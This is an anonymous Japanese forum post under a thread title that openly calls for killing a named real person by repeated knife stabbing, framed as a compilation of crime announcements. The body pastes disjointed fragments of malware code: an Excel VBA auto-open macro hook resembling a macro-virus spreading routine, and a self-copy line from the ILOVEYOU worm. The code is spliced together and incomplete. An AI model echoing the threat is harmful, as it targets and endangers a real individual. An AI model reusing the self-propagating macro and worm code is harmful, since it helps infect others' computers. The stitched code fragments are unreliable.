【唐澤貴洋殺す】犯行予告綜合【ﾅｲﾌでメッタ刺し】 (61)

43 - 名無しなのじゃ 2018/08/17(金) 03:35:32.34

Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub


Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")